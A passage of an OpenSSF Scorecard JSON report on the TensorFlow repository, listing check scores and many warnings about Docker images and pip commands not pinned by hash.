policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#security-policy"}},{"name":"CII-Best-Practices","score":5,"reason":"badge detected: Passing","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#cii-best-practices"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: Apache License 2.0: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#license"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#signed-releases"}},{"name":"Binary-Artifacts","score":8,"reason":"binaries present in source code","details":["Warn: binary detected: tensorflow/lite/java/demo/gradle/wrapper/gradle-wrapper.jar:1","Warn: binary detected: tensorflow/lite/java/ovic/demo/gradle/wrapper/gradle-wrapper.jar:1"],"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#binary-artifacts"}},{"name":"SAST","score":9,"reason":"SAST tool is not run on all commits -- score normalized to 9","details":["Warn: 27 commits out of 28 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#sast"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#branch-protection"}},{"name":"Pinned-Dependencies","score":1,"reason":"dependency not pinned by hash detected -- score normalized to 1","details":["Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:26","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:32-34","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:37","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:55-60","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:63-69","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:83-100","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:107-121","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:153-157","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:160-161","Info: Possibly incomplete results: error parsing shell code: \u0026 can only immediately follow a statement: ci/devinfra/docker/windows/Dockerfile:162","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows/Dockerfile:163-164","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:24-26","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:29","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:46-51","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:54-60","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows2022/Dockerfile:72-115","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows2022/Dockerfile:123-137","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:170-174","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:178-179","Info: Possibly incomplete results: error parsing shell code: \u0026 can only immediately follow a statement: ci/devinfra/docker/windows2022/Dockerfile:180","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows2022/Dockerfile:181-182","Info: Possibly incomplete results: error parsing shell code: \u0026\u003e must be followed by a word: tensorflow/compiler/mlir/tensorflow/tests/reducer/unsupported-op-test.sh:0","Info: Possibly incomplete results: error parsing shell code: invalid var name: tensorflow/tools/ci_build/builds/test_user_ops.sh:0","Warn: containerImage not pinned by hash: ci/devinfra/docker/windows/Dockerfile:15: pin your Docker image by updating mcr.microsoft.com/windows/servercore:ltsc2019 to mcr.microsoft.com/windows/servercore:ltsc2019@sha256:0f967dbb28a1637e6fb8d6a552a3cca69121ccef4e0c6631f8231097016ec9f8","Warn: containerImage not pinned by hash: ci/devinfra/docker/windows2022/Dockerfile:11: pin your Docker image by updating mcr.microsoft.com/windows/servercore:ltsc2022 to mcr.microsoft.com/windows/servercore:ltsc2022@sha256:d9e1a220c13cf25c7b213fbd96df2b63671e2dba0de3909003d4bb23a8bc8a1c","Warn: containerImage not pinned by hash: ci/official/containers/ml_build/Dockerfile:3","Warn: containerImage not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:16","Warn: containerImage not pinned by hash: tensorflow/lite/tools/tflite-android.Dockerfile:1: pin your Docker image by updating tensorflow/build:latest-python3.11 to tensorflow/build:latest-python3.11@sha256:15ce4d4aff708dba7720752587026d15c563c9078269c932abcfb50e9fd68f6c","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.android:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:15: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu-py36:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu.arm64:1: pin your Docker image by updating linaro/tensorflow-arm64-build:2.17-multipython to linaro/tensorflow-arm64-build:2.17-multipython@sha256:71d97e638fc3059a38a94cd0af2935da0cce288ecec9a8bbebafe2fb150cd664","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu.ppc64le:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cuda-clang:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:34: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.debian.bullseye.cpu:1: pin your Docker image by updating debian:bullseye-20221219 to debian:bullseye-20221219@sha256:c66c0e5dc607baefefda1d9e64a3b3a317e4189c540c8eac0c1a06186fe353a1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.gpu.ppc64le:1: pin your Docker image by updating nvidia/cuda-ppc64le:9.2-cudnn7-devel-ubuntu16.04 to nvidia/cuda-ppc64le:9.2-cudnn7-devel-ubuntu16.04@sha256:2f11acbd03c1f316f8bece8e850a8ebdc8cbaa262a4afd95c608e51062c0b344","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.local-toolchain-ubuntu18.04-manylinux2010:10","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.local-toolchain-ubuntu20.04-manylinux2014:13","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:4: pin your Docker image by updating python:3.12.0a3-slim-bullseye to python:3.12.0a3-slim-bullseye@sha256:af6510dd0c93066231f4f5f0d6b399a47cf5f91c26c6797f5e145fab01d94316","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.pi:1: pin your Docker image by updating ubuntu:14.04 to ubuntu:14.04@sha256:64483f3496c1373bfd55348e88694d1c4d0c9b660dee6bfef5e12f43b9933b30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cpu:6: pin your Docker image by updating launcher.gcr.io/google/rbe-ubuntu16-04:r327695 to launcher.gcr.io/google/rbe-ubuntu16-04:r327695@sha256:b940d4f08ea79ce9a07220754052da2ac4a4316e035d8799769cea3c24d10c66","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010-multipython:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu18.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu18.04-manylinux2010-multipython:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.2-cudnn7-ubuntu18.04-manylinux2010-multipython:11: pin your Docker image by updating gcr.io/tensorflow-testing/nosla-cuda10.0-cudnn7-ubuntu16.04-manylinux2010 to gcr.io/tensorflow-testing/nosla-cuda10.0-cudnn7-ubuntu16.04-manylinux2010@sha256:6a5d4699391340f889c645e9f922c0dee980f426cc5ffd92fe4cc19e288a0a33","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.0-cudnn8-ubuntu18.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.0-cudnn8-ubuntu18.04-manylinux2010-multipython:38","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.2-cudnn8.1-ubuntu20.04-manylinux2014-multipython:14","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.2-cudnn8.1-ubuntu20.04-manylinux2014-multipython:41","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.rocm-ubuntu18.04-manylinux2010-multipython:10: pin your Docker image by updating ubuntu:18.04 to ubuntu:18.04@sha256:152dc042452c496007f07ca9127571cb9c29697f42acbfad72324b2bb2e43c98","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.rocm-ubuntu20.04-manylinux2014-multipython:10: pin your Docker image by updating ubuntu:20.04 to ubuntu:20.04@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.ubuntu16.04-manylinux2010:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.ubuntu16.04-manylinux2010:40: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rocm:3: pin your Docker image by updating ubuntu:focal to ubuntu:focal@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/linux/mkl/Dockerfile.devel-mkl:4","Warn: pipCommand not pinned by hash: ci/devinfra/docker/windows/Dockerfile:104-105","Warn: pipCommand not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:55","Warn: pipCommand not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:56","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:26","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:27","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:28","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:29","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:30","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:31","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:78","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:78","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:80","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:80","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.debian.bullseye.cpu:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:22","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:24","Warn: downloadThenRun not pinned by hash: tensorflow/tools/tf_sig_build_dockerfiles/Dockerfile:45","Warn: downloadThenRun not pinned by hash: ci/official/containers/ml_build/setup.python.sh:67","Warn: downloadThenRun not pinned by hash: ci/official/containers/ml_build_arm64/setup.python.sh:96","Warn: pipCommand not pinned by hash: ci/official/utilities/setup_macos.sh:121","Warn: goCommand not pinned by hash: tensorflow/go/genop/generate.sh:19","Warn: goCommand not pinned by hash: tensorflow/go/genop/generate.sh:20","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/docker_cpu_pip.sh:22","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/nightly_release_smoke_test.sh:45","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/nightly_release_smoke_test.sh:99","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/pip_new.sh:764","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/pip_new.sh:765","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_auditwheel.sh:19","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_auditwheel.sh:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:20","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:28","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:31","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:35","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:39","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:43","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:47","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:51","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:55","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:58","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:61","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:64","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:68","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:73","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:77","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:81","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:87","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:91","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:95","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:97","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:99","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:103","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:105","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pi_python3.9_toolchain.sh:25","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:29","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:33","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:35","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:38","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:39","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:42","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:45","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:48","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:51","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:54","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:63","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:65","Warn: pipCommand not pinned by hash: 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privilege.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#token-permissions"}},{"name":"Maintained","score":10,"reason":"30 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#maintained"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#packaging"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#security-policy"}},{"name":"CII-Best-Practices","score":5,"reason":"badge detected: Passing","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#cii-best-practices"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: Apache License 2.0: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#license"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#signed-releases"}},{"name":"Binary-Artifacts","score":8,"reason":"binaries present in source code","details":["Warn: binary detected: tensorflow/lite/java/demo/gradle/wrapper/gradle-wrapper.jar:1","Warn: binary detected: tensorflow/lite/java/ovic/demo/gradle/wrapper/gradle-wrapper.jar:1"],"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#binary-artifacts"}},{"name":"SAST","score":9,"reason":"SAST tool is not run on all commits -- score normalized to 9","details":["Warn: 27 commits out of 28 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#sast"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#branch-protection"}},{"name":"Pinned-Dependencies","score":1,"reason":"dependency not pinned by hash detected -- score normalized to 1","details":["Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:26","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:32-34","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:37","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:55-60","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:63-69","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:83-100","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:107-121","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:153-157","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:160-161","Info: Possibly incomplete results: error parsing shell code: \u0026 can only immediately follow a statement: ci/devinfra/docker/windows/Dockerfile:162","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows/Dockerfile:163-164","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:24-26","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:29","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:46-51","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:54-60","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows2022/Dockerfile:72-115","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows2022/Dockerfile:123-137","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:170-174","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:178-179","Info: Possibly incomplete results: error parsing shell code: \u0026 can only immediately follow a statement: ci/devinfra/docker/windows2022/Dockerfile:180","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows2022/Dockerfile:181-182","Info: Possibly incomplete results: error parsing shell code: \u0026\u003e must be followed by a word: tensorflow/compiler/mlir/tensorflow/tests/reducer/unsupported-op-test.sh:0","Info: Possibly incomplete results: error parsing shell code: invalid var name: tensorflow/tools/ci_build/builds/test_user_ops.sh:0","Warn: containerImage not pinned by hash: ci/devinfra/docker/windows/Dockerfile:15: pin your Docker image by updating mcr.microsoft.com/windows/servercore:ltsc2019 to mcr.microsoft.com/windows/servercore:ltsc2019@sha256:0f967dbb28a1637e6fb8d6a552a3cca69121ccef4e0c6631f8231097016ec9f8","Warn: containerImage not pinned by hash: ci/devinfra/docker/windows2022/Dockerfile:11: pin your Docker image by updating mcr.microsoft.com/windows/servercore:ltsc2022 to mcr.microsoft.com/windows/servercore:ltsc2022@sha256:d9e1a220c13cf25c7b213fbd96df2b63671e2dba0de3909003d4bb23a8bc8a1c","Warn: containerImage not pinned by hash: ci/official/containers/ml_build/Dockerfile:3","Warn: containerImage not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:16","Warn: containerImage not pinned by hash: tensorflow/lite/tools/tflite-android.Dockerfile:1: pin your Docker image by updating tensorflow/build:latest-python3.11 to tensorflow/build:latest-python3.11@sha256:15ce4d4aff708dba7720752587026d15c563c9078269c932abcfb50e9fd68f6c","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.android:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:15: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu-py36:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu.arm64:1: pin your Docker image by updating linaro/tensorflow-arm64-build:2.17-multipython to linaro/tensorflow-arm64-build:2.17-multipython@sha256:71d97e638fc3059a38a94cd0af2935da0cce288ecec9a8bbebafe2fb150cd664","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu.ppc64le:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cuda-clang:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:34: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: 